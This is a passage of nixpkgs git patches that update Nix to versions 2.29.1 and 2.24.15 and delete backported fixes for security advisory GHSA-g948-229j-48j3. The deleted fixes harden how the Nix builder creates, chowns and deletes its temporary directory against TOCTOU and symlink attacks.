-     AutoCloseFD fd = toDescriptor(open(path.c_str(), O_WRONLY | O_TRUNC | O_CREAT
- // TODO
-@@ -308,22 +308,29 @@ void writeFile(const Path & path, std::string_view s, mode_t mode, bool sync)
-        , mode));
-     if (!fd)
-         throw SysError("opening file '%1%'", path);
-+
-+    writeFile(fd, path, s, mode, sync);
-+
-+    /* Close explicitly to propagate the exceptions. */
-+    fd.close();
-+}
-+
-+void writeFile(AutoCloseFD & fd, const Path & origPath, std::string_view s, mode_t mode, FsSync sync)
-+{
-+    assert(fd);
-     try {
-         writeFull(fd.get(), s);
-+
-+        if (sync == FsSync::Yes)
-+            fd.fsync();
-+
-     } catch (Error & e) {
--        e.addTrace({}, "writing file '%1%'", path);
-+        e.addTrace({}, "writing file '%1%'", origPath);
-         throw;
-     }
--    if (sync)
--        fd.fsync();
--    // Explicitly close to make sure exceptions are propagated.
--    fd.close();
--    if (sync)
--        syncParent(path);
- }
- 
--
--void writeFile(const Path & path, Source & source, mode_t mode, bool sync)
-+void writeFile(const Path & path, Source & source, mode_t mode, FsSync sync)
- {
-     AutoCloseFD fd = toDescriptor(open(path.c_str(), O_WRONLY | O_TRUNC | O_CREAT
- // TODO
-@@ -347,11 +354,11 @@ void writeFile(const Path & path, Source & source, mode_t mode, bool sync)
-         e.addTrace({}, "writing file '%1%'", path);
-         throw;
-     }
--    if (sync)
-+    if (sync == FsSync::Yes)
-         fd.fsync();
-     // Explicitly close to make sure exceptions are propagated.
-     fd.close();
--    if (sync)
-+    if (sync == FsSync::Yes)
-         syncParent(path);
- }
- 
-@@ -414,7 +421,8 @@ static void _deletePath(Descriptor parentfd, const fs::path & path, uint64_t & b
- #ifndef _WIN32
-     checkInterrupt();
- 
--    std::string name(baseNameOf(path.native()));
-+    std::string name(path.filename());
-+    assert(name != "." && name != ".." && !name.empty());
- 
-     struct stat st;
-     if (fstatat(parentfd, name.c_str(), &st,
-@@ -455,7 +463,7 @@ static void _deletePath(Descriptor parentfd, const fs::path & path, uint64_t & b
-                 throw SysError("chmod %1%", path);
-         }
- 
--        int fd = openat(parentfd, path.c_str(), O_RDONLY);
-+        int fd = openat(parentfd, name.c_str(), O_RDONLY | O_DIRECTORY | O_NOFOLLOW);
-         if (fd == -1)
-             throw SysError("opening directory %1%", path);
-         AutoCloseDir dir(fdopendir(fd));
-@@ -467,7 +475,7 @@ static void _deletePath(Descriptor parentfd, const fs::path & path, uint64_t & b
-             checkInterrupt();
-             std::string childName = dirent->d_name;
-             if (childName == "." || childName == "..") continue;
--            _deletePath(dirfd(dir.get()), path + "/" + childName, bytesFreed);
-+            _deletePath(dirfd(dir.get()), path / childName, bytesFreed);
-         }
-         if (errno) throw SysError("reading directory %1%", path);
-     }
-@@ -485,14 +493,13 @@ static void _deletePath(Descriptor parentfd, const fs::path & path, uint64_t & b
- 
- static void _deletePath(const fs::path & path, uint64_t & bytesFreed)
- {
--    Path dir = dirOf(path.string());
--    if (dir == "")
--        dir = "/";
-+    assert(path.is_absolute());
-+    assert(path.parent_path() != path);
- 
--    AutoCloseFD dirfd = toDescriptor(open(dir.c_str(), O_RDONLY));
-+    AutoCloseFD dirfd = toDescriptor(open(path.parent_path().string().c_str(), O_RDONLY));
-     if (!dirfd) {
-         if (errno == ENOENT) return;
--        throw SysError("opening directory '%1%'", path);
-+        throw SysError("opening directory %s", path.parent_path());
-     }
- 
-     _deletePath(dirfd.get(), path, bytesFreed);
-diff --git a/src/libutil/include/nix/util/file-system.hh b/src/libutil/include/nix/util/file-system.hh
-index e6b1cfef3..9a0057bbe 100644
---- a/src/libutil/include/nix/util/file-system.hh
-+++ b/src/libutil/include/nix/util/file-system.hh
-@@ -193,21 +193,27 @@ std::string readFile(const Path & path);
- std::string readFile(const std::filesystem::path & path);
- void readFile(const Path & path, Sink & sink);
- 
-+enum struct FsSync { Yes, No };
-+
- /**
-  * Write a string to a file.
-  */
--void writeFile(const Path & path, std::string_view s, mode_t mode = 0666, bool sync = false);
--static inline void writeFile(const std::filesystem::path & path, std::string_view s, mode_t mode = 0666, bool sync = false)
-+void writeFile(const Path & path, std::string_view s, mode_t mode = 0666, FsSync sync = FsSync::No);
-+
-+static inline void writeFile(const std::filesystem::path & path, std::string_view s, mode_t mode = 0666, FsSync sync = FsSync::No)
- {
-     return writeFile(path.string(), s, mode, sync);
- }
- 
--void writeFile(const Path & path, Source & source, mode_t mode = 0666, bool sync = false);
--static inline void writeFile(const std::filesystem::path & path, Source & source, mode_t mode = 0666, bool sync = false)
-+void writeFile(const Path & path, Source & source, mode_t mode = 0666, FsSync sync = FsSync::No);
-+
-+static inline void writeFile(const std::filesystem::path & path, Source & source, mode_t mode = 0666, FsSync sync = FsSync::No)
- {
-     return writeFile(path.string(), source, mode, sync);
- }
- 
-+void writeFile(AutoCloseFD & fd, const Path & origPath, std::string_view s, mode_t mode = 0666, FsSync sync = FsSync::No);
-+
- /**
-  * Flush a path's parent directory to disk.
-  */
--- 
-2.44.1
-

From 416c34e65825354aab0e8d32a2e6db97ea387f50 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=B6rg=20Thalheim?= <joerg@thalheim.io>
Date: Tue, 24 Jun 2025 17:43:26 +0200
Subject: [PATCH 1623/4511] nixVersions.nix_2_29: 2.29.0 -> 2.29.1

(cherry picked from commit b1e560bfc7bc25108014de7b4bc9627d7bd5df89)
---
 pkgs/tools/package-management/nix/default.nix |  24 +-
 .../patches/ghsa-g948-229j-48j3-2.29.patch    | 449 ------------------
 2 files changed, 11 insertions(+), 462 deletions(-)
 delete mode 100644 pkgs/tools/package-management/nix/patches/ghsa-g948-229j-48j3-2.29.patch

diff --git a/pkgs/tools/package-management/nix/default.nix b/pkgs/tools/package-management/nix/default.nix
index 787686d2ae85..fb57b58fecbe 100644
--- a/pkgs/tools/package-management/nix/default.nix
+++ b/pkgs/tools/package-management/nix/default.nix
@@ -187,19 +187,17 @@ lib.makeExtensible (
         self_attribute_name = "nix_2_28";
       };
 
-      nixComponents_2_29 =
-        (nixDependencies.callPackage ./modular/packages.nix rec {
-          version = "2.29.0";
-          inherit (self.nix_2_24.meta) maintainers teams;
-          otherSplices = generateSplicesForNixComponents "nixComponents_2_29";
-          src = fetchFromGitHub {
-            owner = "NixOS";
-            repo = "nix";
-            rev = version;
-            hash = "sha256-fkbE3RCIUPFjS9A6SoEJbgMW3Rs98cs0ZZV/eTtJjaU=";
-          };
-        }).appendPatches
-          [ ./patches/ghsa-g948-229j-48j3-2.29.patch ];
+      nixComponents_2_29 = nixDependencies.callPackage ./modular/packages.nix {
+        version = "2.29.1";
+        inherit (self.nix_2_24.meta) maintainers teams;
+        otherSplices = generateSplicesForNixComponents "nixComponents_2_29";
+        src = fetchFromGitHub {
+          owner = "NixOS";
+          repo = "nix";
+          rev = "2.29.1";
+          hash = "sha256-rCL3l4t20jtMeNjCq6fMaTzWvBKgj+qw1zglLrniRfY=";
+        };
+      };
 
       nix_2_29 = addTests "nix_2_29" self.nixComponents_2_29.nix-everything;
 
diff --git a/pkgs/tools/package-management/nix/patches/ghsa-g948-229j-48j3-2.29.patch b/pkgs/tools/package-management/nix/patches/ghsa-g948-229j-48j3-2.29.patch
deleted file mode 100644
index 265c2580cfe7..000000000000
--- a/pkgs/tools/package-management/nix/patches/ghsa-g948-229j-48j3-2.29.patch
+++ /dev/null
@@ -1,449 +0,0 @@
-From 01619fbe2dc06b79609b95b6f95ddbf4e871e762 Mon Sep 17 00:00:00 2001
-From: Eelco Dolstra <edolstra@gmail.com>
-Date: Thu, 19 Jun 2025 16:20:34 +0200
-Subject: [PATCH] Fixes for GHSA-g948-229j-48j3
-MIME-Version: 1.0
-Content-Type: text/plain; charset=UTF-8
-Content-Transfer-Encoding: 8bit
-
-Squashed commit of the following:
-
-commit 04fff3a637d455cbb1d75937a235950e43008db9
-Author: Eelco Dolstra <edolstra@gmail.com>
-Date:   Thu Jun 12 12:30:32 2025 +0200
-
-    Chown structured attr files safely
-
-commit 5417ad445e414c649d0cfc71a05661c7bf8f3ef5
-Author: Eelco Dolstra <edolstra@gmail.com>
-Date:   Thu Jun 12 12:14:04 2025 +0200
-
-    Replace 'bool sync' with an enum for clarity
-
-    And drop writeFileAndSync().
-
-commit 7ae0141f328d8e8e1094be24665789c05f974ba6
-Author: Eelco Dolstra <edolstra@gmail.com>
-Date:   Thu Jun 12 11:35:28 2025 +0200
-
-    Drop guessOrInventPathFromFD()
-
-    No need to do hacky stuff like that when we already know the original path.
-
-commit 45b05098bd019da7c57cd4227a89bfd0fa65bb08
-Author: Eelco Dolstra <edolstra@gmail.com>
-Date:   Thu Jun 12 11:15:58 2025 +0200
-
-    Tweak comment
-
-commit 0af15b31209d1b7ec8addfae9a1a6b60d8f35848
-Author: Raito Bezarius <raito@lix.systems>
-Date:   Thu Mar 27 12:22:26 2025 +0100
-
-    libstore: ensure that temporary directory is always 0o000 before deletion
-
-    In the case the deletion fails, we should ensure that the temporary
-    directory cannot be used for nefarious purposes.
-
-    Change-Id: I498a2dd0999a74195d13642f44a5de1e69d46120
-    Signed-off-by: Raito Bezarius <raito@lix.systems>
-
-commit 2c20fa37b15cfa03ac6a1a6a47cdb2ed66c0827e
-Author: Raito Bezarius <raito@lix.systems>
-Date:   Wed Mar 26 12:42:55 2025 +0100
-
-    libutil: ensure that `_deletePath` does NOT use absolute paths with dirfds
-
-    When calling `_deletePath` with a parent file descriptor, `openat` is
-    made effective by using relative paths to the directory file descriptor.
-
-    To avoid the problem, the signature is changed to resist misuse with an
-    assert in the prologue of the function.
-
-    Change-Id: I6b3fc766bad2afe54dc27d47d1df3873e188de96
-    Signed-off-by: Raito Bezarius <raito@lix.systems>
-
-commit d3c370bbcae48bb825ce19fd0f73bb4eefd2c9ea
-Author: Raito Bezarius <raito@lix.systems>
-Date:   Wed Mar 26 01:07:47 2025 +0100
-
-    libstore: ensure that `passAsFile` is created in the original temp dir
-
-    This ensures that `passAsFile` data is created inside the expected
-    temporary build directory by `openat()` from the parent directory file
-    descriptor.
-
-    This avoids a TOCTOU which is part of the attack chain of CVE-????.
-
-    Change-Id: Ie5273446c4a19403088d0389ae8e3f473af8879a
-    Signed-off-by: Raito Bezarius <raito@lix.systems>
-
-commit 45d3598724f932d024ef6bc2ffb00c1bb90e6018
-Author: Raito Bezarius <raito@lix.systems>
-Date:   Wed Mar 26 01:06:03 2025 +0100
-
-    libutil: writeFile variant for file descriptors
-
-    `writeFile` lose its `sync` boolean flag to make things simpler.
-
-    A new `writeFileAndSync` function is created and all call sites are
-    converted to it.
-
-    Change-Id: Ib871a5283a9c047db1e4fe48a241506e4aab9192
-    Signed-off-by: Raito Bezarius <raito@lix.systems>
-
-commit 732bd9b98cabf4aaf95a01fd318923de303f9996
-Author: Raito Bezarius <raito@lix.systems>
-Date:   Wed Mar 26 01:05:34 2025 +0100
-
-    libstore: chown to builder variant for file descriptors
-
-    We use it immediately for the build temporary directory.
-
-    Change-Id: I180193c63a2b98721f5fb8e542c4e39c099bb947
-    Signed-off-by: Raito Bezarius <raito@lix.systems>
-
-commit 962c65f8dcd5570dd92c72370a862c7b38942e0d
-Author: Raito Bezarius <raito@lix.systems>
-Date:   Wed Mar 26 01:04:59 2025 +0100
-
-    libstore: open build directory as a dirfd as well
-
-    We now keep around a proper AutoCloseFD around the temporary directory
-    which we plan to use for openat operations and avoiding the build
-    directory being swapped out while we are doing something else.
-
-    Change-Id: I18d387b0f123ebf2d20c6405cd47ebadc5505f2a
-    Signed-off-by: Raito Bezarius <raito@lix.systems>
-
-commit c9b42462b75b5a37ee6564c2b53cff186c8323da
-Author: Raito Bezarius <raito@lix.systems>
-Date:   Wed Mar 26 01:04:12 2025 +0100
-
-    libutil: guess or invent a path from file descriptors
-
-    This is useful for certain error recovery paths (no pun intended) that
-    does not thread through the original path name.
-
-    Change-Id: I2d800740cb4f9912e64c923120d3f977c58ccb7e
-    Signed-off-by: Raito Bezarius <raito@lix.systems>
-
-Signed-off-by: Jörg Thalheim <joerg@thalheim.io>
----
- src/libstore/local-store.cc                   |  4 +-
- src/libstore/unix/build/derivation-builder.cc | 66 ++++++++++++++++---
- src/libutil/file-content-address.cc           |  2 +-
- src/libutil/file-system.cc                    | 47 +++++++------
- src/libutil/include/nix/util/file-system.hh   | 14 ++--
- 5 files changed, 98 insertions(+), 35 deletions(-)
-
-diff --git a/src/libstore/local-store.cc b/src/libstore/local-store.cc
-index 76fadba86..1ab3ed13a 100644
---- a/src/libstore/local-store.cc
-+++ b/src/libstore/local-store.cc
-@@ -247,7 +247,7 @@ LocalStore::LocalStore(ref<const Config> config)
-     else if (curSchema == 0) { /* new store */
-         curSchema = nixSchemaVersion;
-         openDB(*state, true);
--        writeFile(schemaPath, fmt("%1%", curSchema), 0666, true);
-+        writeFile(schemaPath, fmt("%1%", curSchema), 0666, FsSync::Yes);
-     }
- 
-     else if (curSchema < nixSchemaVersion) {
-@@ -298,7 +298,7 @@ LocalStore::LocalStore(ref<const Config> config)
-             txn.commit();
-         }
- 
--        writeFile(schemaPath, fmt("%1%", nixSchemaVersion), 0666, true);
-+        writeFile(schemaPath, fmt("%1%", nixSchemaVersion), 0666, FsSync::Yes);
- 
-         lockFile(globalLock.get(), ltRead, true);
-     }
-diff --git a/src/libstore/unix/build/derivation-builder.cc b/src/libstore/unix/build/derivation-builder.cc
-index 58e8d8ba6..856bc81c3 100644
---- a/src/libstore/unix/build/derivation-builder.cc
-+++ b/src/libstore/unix/build/derivation-builder.cc
-@@ -129,6 +129,11 @@ private:
-      */
-     Path topTmpDir;
- 
-+    /**
-+     * The file descriptor of the temporary directory.
-+     */
-+    AutoCloseFD tmpDirFd;
-+
-     /**
-      * The path of the temporary directory in the sandbox.
-      */
-@@ -325,9 +330,24 @@ private:
- 
-     /**
-      * Make a file owned by the builder.
-+     *
-+     * SAFETY: this function is prone to TOCTOU as it receives a path and not a descriptor.
-+     * It's only safe to call in a child of a directory only visible to the owner.
-      */
-     void chownToBuilder(const Path & path);
- 
-+    /**
-+     * Make a file owned by the builder addressed by its file descriptor.
-+     */
-+    void chownToBuilder(int fd, const Path & path);
-+
-+    /**
-+     * Create a file in `tmpDir` owned by the builder.
-+     */
-+    void writeBuilderFile(
-+        const std::string & name,
-+        std::string_view contents);
-+
-     /**
-      * Run the builder's process.
-      */
-@@ -895,7 +915,14 @@ void DerivationBuilderImpl::startBuilder()
-     } else {
-         tmpDir = topTmpDir;
-     }
--    chownToBuilder(tmpDir);
-+
-+    /* The TOCTOU between the previous mkdir call and this open call is unavoidable due to
-+       POSIX semantics.*/
-+    tmpDirFd = AutoCloseFD{open(tmpDir.c_str(), O_RDONLY | O_NOFOLLOW | O_DIRECTORY)};
-+    if (!tmpDirFd)
-+        throw SysError("failed to open the build temporary directory descriptor '%1%'", tmpDir);
-+
-+    chownToBuilder(tmpDirFd.get(), tmpDir);
- 
-     for (auto & [outputName, status] : initialOutputs) {
-         /* Set scratch path we'll actually use during the build.
-@@ -1469,9 +1496,7 @@ void DerivationBuilderImpl::initTmpDir()
-             } else {
-                 auto hash = hashString(HashAlgorithm::SHA256, i.first);
-                 std::string fn = ".attr-" + hash.to_string(HashFormat::Nix32, false);
--                Path p = tmpDir + "/" + fn;
--                writeFile(p, rewriteStrings(i.second, inputRewrites));
--                chownToBuilder(p);
-+                writeBuilderFile(fn, rewriteStrings(i.second, inputRewrites));
-                 env[i.first + "Path"] = tmpDirInSandbox + "/" + fn;
-             }
-         }
-@@ -1580,11 +1605,9 @@ void DerivationBuilderImpl::writeStructuredAttrs()
- 
-         auto jsonSh = StructuredAttrs::writeShell(json);
- 
--        writeFile(tmpDir + "/.attrs.sh", rewriteStrings(jsonSh, inputRewrites));
--        chownToBuilder(tmpDir + "/.attrs.sh");
-+        writeBuilderFile(".attrs.sh", rewriteStrings(jsonSh, inputRewrites));
-         env["NIX_ATTRS_SH_FILE"] = tmpDirInSandbox + "/.attrs.sh";
--        writeFile(tmpDir + "/.attrs.json", rewriteStrings(json.dump(), inputRewrites));
--        chownToBuilder(tmpDir + "/.attrs.json");
-+        writeBuilderFile(".attrs.json", rewriteStrings(json.dump(), inputRewrites));
-         env["NIX_ATTRS_JSON_FILE"] = tmpDirInSandbox + "/.attrs.json";
-     }
- }
-@@ -1838,6 +1861,24 @@ void setupSeccomp()
- #endif
- }
- 
-+void DerivationBuilderImpl::chownToBuilder(int fd, const Path & path)
-+{
-+    if (!buildUser) return;
-+    if (fchown(fd, buildUser->getUID(), buildUser->getGID()) == -1)
-+        throw SysError("cannot change ownership of file '%1%'", path);
-+}
-+
-+void DerivationBuilderImpl::writeBuilderFile(
-+    const std::string & name,
-+    std::string_view contents)
-+{
-+    auto path = std::filesystem::path(tmpDir) / name;
-+    AutoCloseFD fd{openat(tmpDirFd.get(), name.c_str(), O_WRONLY | O_TRUNC | O_CREAT | O_CLOEXEC | O_EXCL | O_NOFOLLOW, 0666)};
-+    if (!fd)
-+        throw SysError("creating file %s", path);
-+    writeFile(fd, path, contents);
-+    chownToBuilder(fd.get(), path);
-+}
- 
- void DerivationBuilderImpl::runChild()
- {
-@@ -3043,6 +3084,15 @@ void DerivationBuilderImpl::checkOutputs(const std::map<std::string, ValidPathIn
- void DerivationBuilderImpl::deleteTmpDir(bool force)
- {
-     if (topTmpDir != "") {
-+        /* As an extra precaution, even in the event of `deletePath` failing to
-+         * clean up, the `tmpDir` will be chowned as if we were to move
-+         * it inside the Nix store.
-+         *
-+         * This hardens against an attack which smuggles a file descriptor
-+         * to make use of the temporary directory.
-+         */
-+        chmod(topTmpDir.c_str(), 0000);
-+
-         /* Don't keep temporary directories for builtins because they
-            might have privileged stuff (like a copy of netrc). */
-         if (settings.keepFailed && !force && !drv.isBuiltin()) {
-diff --git a/src/libutil/file-content-address.cc b/src/libutil/file-content-address.cc
-index 142bc70d5..d95781691 100644
---- a/src/libutil/file-content-address.cc
-+++ b/src/libutil/file-content-address.cc
-@@ -93,7 +93,7 @@ void restorePath(
- {
-     switch (method) {
-     case FileSerialisationMethod::Flat:
--        writeFile(path, source, 0666, startFsync);
-+        writeFile(path, source, 0666, startFsync ? FsSync::Yes : FsSync::No);
-         break;
-     case FileSerialisationMethod::NixArchive:
-         restorePath(path, source, startFsync);
-diff --git a/src/libutil/file-system.cc b/src/libutil/file-system.cc
-index 90ec5eda5..aeee49e9b 100644
---- a/src/libutil/file-system.cc
-+++ b/src/libutil/file-system.cc
-@@ -303,7 +303,7 @@ void readFile(const Path & path, Sink & sink, bool memory_map)
- }
- 
- 
--void writeFile(const Path & path, std::string_view s, mode_t mode, bool sync)
-+void writeFile(const Path & path, std::string_view s, mode_t mode, FsSync sync)
- {
-     AutoCloseFD fd = toDescriptor(open(path.c_str(), O_WRONLY | O_TRUNC | O_CREAT
- // TODO
-@@ -313,22 +313,29 @@ void writeFile(const Path & path, std::string_view s, mode_t mode, bool sync)
-        , mode));
-     if (!fd)
-         throw SysError("opening file '%1%'", path);
-+
-+    writeFile(fd, path, s, mode, sync);
-+
-+    /* Close explicitly to propagate the exceptions. */
-+    fd.close();
-+}
-+
-+void writeFile(AutoCloseFD & fd, const Path & origPath, std::string_view s, mode_t mode, FsSync sync)
-+{
-+    assert(fd);
-     try {
-         writeFull(fd.get(), s);
-+
-+        if (sync == FsSync::Yes)
-+            fd.fsync();
-+
-     } catch (Error & e) {
--        e.addTrace({}, "writing file '%1%'", path);
-+        e.addTrace({}, "writing file '%1%'", origPath);
-         throw;
-     }
--    if (sync)
--        fd.fsync();
--    // Explicitly close to make sure exceptions are propagated.
--    fd.close();
--    if (sync)
--        syncParent(path);
- }
- 
--
--void writeFile(const Path & path, Source & source, mode_t mode, bool sync)
-+void writeFile(const Path & path, Source & source, mode_t mode, FsSync sync)
- {
-     AutoCloseFD fd = toDescriptor(open(path.c_str(), O_WRONLY | O_TRUNC | O_CREAT
- // TODO
-@@ -352,11 +359,11 @@ void writeFile(const Path & path, Source & source, mode_t mode, bool sync)
-         e.addTrace({}, "writing file '%1%'", path);
-         throw;
-     }
--    if (sync)
-+    if (sync == FsSync::Yes)
-         fd.fsync();
-     // Explicitly close to make sure exceptions are propagated.
-     fd.close();
--    if (sync)
-+    if (sync == FsSync::Yes)
-         syncParent(path);
- }
- 
-@@ -419,7 +426,8 @@ static void _deletePath(Descriptor parentfd, const std::filesystem::path & path,
- #ifndef _WIN32
-     checkInterrupt();
- 
--    std::string name(baseNameOf(path.native()));
-+    std::string name(path.filename());
-+    assert(name != "." && name != ".." && !name.empty());
- 
-     struct stat st;
-     if (fstatat(parentfd, name.c_str(), &st,
-@@ -460,7 +468,7 @@ static void _deletePath(Descriptor parentfd, const std::filesystem::path & path,
-                 throw SysError("chmod %1%", path);
-         }
- 
--        int fd = openat(parentfd, path.c_str(), O_RDONLY);
-+        int fd = openat(parentfd, name.c_str(), O_RDONLY | O_DIRECTORY | O_NOFOLLOW);
-         if (fd == -1)
-             throw SysError("opening directory %1%", path);
-         AutoCloseDir dir(fdopendir(fd));
-@@ -472,7 +480,7 @@ static void _deletePath(Descriptor parentfd, const std::filesystem::path & path,
-             checkInterrupt();
-             std::string childName = dirent->d_name;
-             if (childName == "." || childName == "..") continue;
--            _deletePath(dirfd(dir.get()), path + "/" + childName, bytesFreed);
-+            _deletePath(dirfd(dir.get()), path / childName, bytesFreed);
-         }
-         if (errno) throw SysError("reading directory %1%", path);
-     }
-@@ -490,14 +498,13 @@ static void _deletePath(Descriptor parentfd, const std::filesystem::path & path,
- 
- static void _deletePath(const std::filesystem::path & path, uint64_t & bytesFreed)
- {
--    Path dir = dirOf(path.string());
--    if (dir == "")
--        dir = "/";
-+    assert(path.is_absolute());
-+    assert(path.parent_path() != path);
- 
--    AutoCloseFD dirfd = toDescriptor(open(dir.c_str(), O_RDONLY));
-+    AutoCloseFD dirfd = toDescriptor(open(path.parent_path().string().c_str(), O_RDONLY));
-     if (!dirfd) {
-         if (errno == ENOENT) return;
--        throw SysError("opening directory '%1%'", path);
-+        throw SysError("opening directory %s", path.parent_path());
-     }
- 
-     _deletePath(dirfd.get(), path, bytesFreed);
-diff --git a/src/libutil/include/nix/util/file-system.hh b/src/libutil/include/nix/util/file-system.hh
-index b8fa4cfa0..a9a6e43bf 100644
---- a/src/libutil/include/nix/util/file-system.hh
-+++ b/src/libutil/include/nix/util/file-system.hh
-@@ -175,21 +175,27 @@ std::string readFile(const Path & path);
- std::string readFile(const std::filesystem::path & path);
- void readFile(const Path & path, Sink & sink, bool memory_map = true);
- 
-+enum struct FsSync { Yes, No };
-+
- /**
-  * Write a string to a file.
-  */
--void writeFile(const Path & path, std::string_view s, mode_t mode = 0666, bool sync = false);
--static inline void writeFile(const std::filesystem::path & path, std::string_view s, mode_t mode = 0666, bool sync = false)
-+void writeFile(const Path & path, std::string_view s, mode_t mode = 0666, FsSync sync = FsSync::No);
-+
-+static inline void writeFile(const std::filesystem::path & path, std::string_view s, mode_t mode = 0666, FsSync sync = FsSync::No)
- {
-     return writeFile(path.string(), s, mode, sync);
- }
- 
--void writeFile(const Path & path, Source & source, mode_t mode = 0666, bool sync = false);
--static inline void writeFile(const std::filesystem::path & path, Source & source, mode_t mode = 0666, bool sync = false)
-+void writeFile(const Path & path, Source & source, mode_t mode = 0666, FsSync sync = FsSync::No);
-+
-+static inline void writeFile(const std::filesystem::path & path, Source & source, mode_t mode = 0666, FsSync sync = FsSync::No)
- {
-     return writeFile(path.string(), source, mode, sync);
- }
- 
-+void writeFile(AutoCloseFD & fd, const Path & origPath, std::string_view s, mode_t mode = 0666, FsSync sync = FsSync::No);
-+
- /**
-  * Flush a path's parent directory to disk.
-  */
--- 
-2.44.1
-

From 4123117e937ebcf8ee4d86e52e983e3ce94f24e7 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=B6rg=20Thalheim?= <joerg@thalheim.io>
Date: Tue, 24 Jun 2025 19:14:14 +0200
Subject: [PATCH 1624/4511] nixVersions.nix_2_24: 2.24.14 -> 2.24.15

(cherry picked from commit 3b3cecb403f975b5ae346b1a87a24cf973bc28eb)
---
 pkgs/tools/package-management/nix/default.nix |   3 +-
 .../patches/ghsa-g948-229j-48j3-2.24.patch    | 436 ------------------
 2 files changed, 1 insertion(+), 438 deletions(-)
 delete mode 100644 pkgs/tools/package-management/nix/patches/ghsa-g948-229j-48j3-2.24.patch

diff --git a/pkgs/tools/package-management/nix/default.nix b/pkgs/tools/package-management/nix/default.nix
index fb57b58fecbe..974532d99be4 100644
--- a/pkgs/tools/package-management/nix/default.nix
+++ b/pkgs/tools/package-management/nix/default.nix
@@ -169,9 +169,8 @@ lib.makeExtensible (
           };
 
       nix_2_24 = commonAutoconf {
-        version = "2.24.14";
+        version = "2.24.15";
         hash = "sha256-SthMCsj6POjawLnJq9+lj/UzObX9skaeN1UGmMZiwTY=";
-        patches = [ ./patches/ghsa-g948-229j-48j3-2.24.patch ];
         self_attribute_name = "nix_2_24";
       };
 
diff --git a/pkgs/tools/package-management/nix/patches/ghsa-g948-229j-48j3-2.24.patch b/pkgs/tools/package-management/nix/patches/ghsa-g948-229j-48j3-2.24.patch
deleted file mode 100644
index 27b16dc6b8c6..000000000000
--- a/pkgs/tools/package-management/nix/patches/ghsa-g948-229j-48j3-2.24.patch
+++ /dev/null
@@ -1,436 +0,0 @@
-From b0fab9f90b397a2b02f41df5f467ae3cf8b91c3c Mon Sep 17 00:00:00 2001
-From: Eelco Dolstra <edolstra@gmail.com>
-Date: Thu, 19 Jun 2025 16:20:34 +0200
-Subject: [PATCH] Fixes for GHSA-g948-229j-48j3
-MIME-Version: 1.0
-Content-Type: text/plain; charset=UTF-8
-Content-Transfer-Encoding: 8bit
-
-Squashed commit of the following:
-
-commit 04fff3a637d455cbb1d75937a235950e43008db9
-Author: Eelco Dolstra <edolstra@gmail.com>
-Date:   Thu Jun 12 12:30:32 2025 +0200
-
-    Chown structured attr files safely
-
-commit 5417ad445e414c649d0cfc71a05661c7bf8f3ef5
-Author: Eelco Dolstra <edolstra@gmail.com>
-Date:   Thu Jun 12 12:14:04 2025 +0200
-
-    Replace 'bool sync' with an enum for clarity
-
-    And drop writeFileAndSync().
-
-commit 7ae0141f328d8e8e1094be24665789c05f974ba6
-Author: Eelco Dolstra <edolstra@gmail.com>
-Date:   Thu Jun 12 11:35:28 2025 +0200
-
-    Drop guessOrInventPathFromFD()
-
-    No need to do hacky stuff like that when we already know the original path.
-
-commit 45b05098bd019da7c57cd4227a89bfd0fa65bb08
-Author: Eelco Dolstra <edolstra@gmail.com>
-Date:   Thu Jun 12 11:15:58 2025 +0200
-
-    Tweak comment
-
-commit 0af15b31209d1b7ec8addfae9a1a6b60d8f35848
-Author: Raito Bezarius <raito@lix.systems>
-Date:   Thu Mar 27 12:22:26 2025 +0100
-
-    libstore: ensure that temporary directory is always 0o000 before deletion
-
-    In the case the deletion fails, we should ensure that the temporary
-    directory cannot be used for nefarious purposes.
-
-    Change-Id: I498a2dd0999a74195d13642f44a5de1e69d46120
-    Signed-off-by: Raito Bezarius <raito@lix.systems>
-
-commit 2c20fa37b15cfa03ac6a1a6a47cdb2ed66c0827e
-Author: Raito Bezarius <raito@lix.systems>
-Date:   Wed Mar 26 12:42:55 2025 +0100
-
-    libutil: ensure that `_deletePath` does NOT use absolute paths with dirfds
-
-    When calling `_deletePath` with a parent file descriptor, `openat` is
-    made effective by using relative paths to the directory file descriptor.
-
-    To avoid the problem, the signature is changed to resist misuse with an
-    assert in the prologue of the function.
-
-    Change-Id: I6b3fc766bad2afe54dc27d47d1df3873e188de96
-    Signed-off-by: Raito Bezarius <raito@lix.systems>
-
-commit d3c370bbcae48bb825ce19fd0f73bb4eefd2c9ea
-Author: Raito Bezarius <raito@lix.systems>
-Date:   Wed Mar 26 01:07:47 2025 +0100
-
-    libstore: ensure that `passAsFile` is created in the original temp dir
-
-    This ensures that `passAsFile` data is created inside the expected
-    temporary build directory by `openat()` from the parent directory file
-    descriptor.
-
-    This avoids a TOCTOU which is part of the attack chain of CVE-????.
-
-    Change-Id: Ie5273446c4a19403088d0389ae8e3f473af8879a
-    Signed-off-by: Raito Bezarius <raito@lix.systems>
-
-commit 45d3598724f932d024ef6bc2ffb00c1bb90e6018
-Author: Raito Bezarius <raito@lix.systems>
-Date:   Wed Mar 26 01:06:03 2025 +0100
-
-    libutil: writeFile variant for file descriptors
-
-    `writeFile` lose its `sync` boolean flag to make things simpler.
-
-    A new `writeFileAndSync` function is created and all call sites are
-    converted to it.
-
-    Change-Id: Ib871a5283a9c047db1e4fe48a241506e4aab9192
-    Signed-off-by: Raito Bezarius <raito@lix.systems>
-
-commit 732bd9b98cabf4aaf95a01fd318923de303f9996
-Author: Raito Bezarius <raito@lix.systems>
-Date:   Wed Mar 26 01:05:34 2025 +0100
-
-    libstore: chown to builder variant for file descriptors
-
-    We use it immediately for the build temporary directory.
-
-    Change-Id: I180193c63a2b98721f5fb8e542c4e39c099bb947
-    Signed-off-by: Raito Bezarius <raito@lix.systems>
-
-commit 962c65f8dcd5570dd92c72370a862c7b38942e0d
-Author: Raito Bezarius <raito@lix.systems>
-Date:   Wed Mar 26 01:04:59 2025 +0100
-
-    libstore: open build directory as a dirfd as well
-
-    We now keep around a proper AutoCloseFD around the temporary directory
-    which we plan to use for openat operations and avoiding the build
-    directory being swapped out while we are doing something else.
-
-    Change-Id: I18d387b0f123ebf2d20c6405cd47ebadc5505f2a
-    Signed-off-by: Raito Bezarius <raito@lix.systems>
-
-commit c9b42462b75b5a37ee6564c2b53cff186c8323da
-Author: Raito Bezarius <raito@lix.systems>
-Date:   Wed Mar 26 01:04:12 2025 +0100
-
-    libutil: guess or invent a path from file descriptors
-
-    This is useful for certain error recovery paths (no pun intended) that
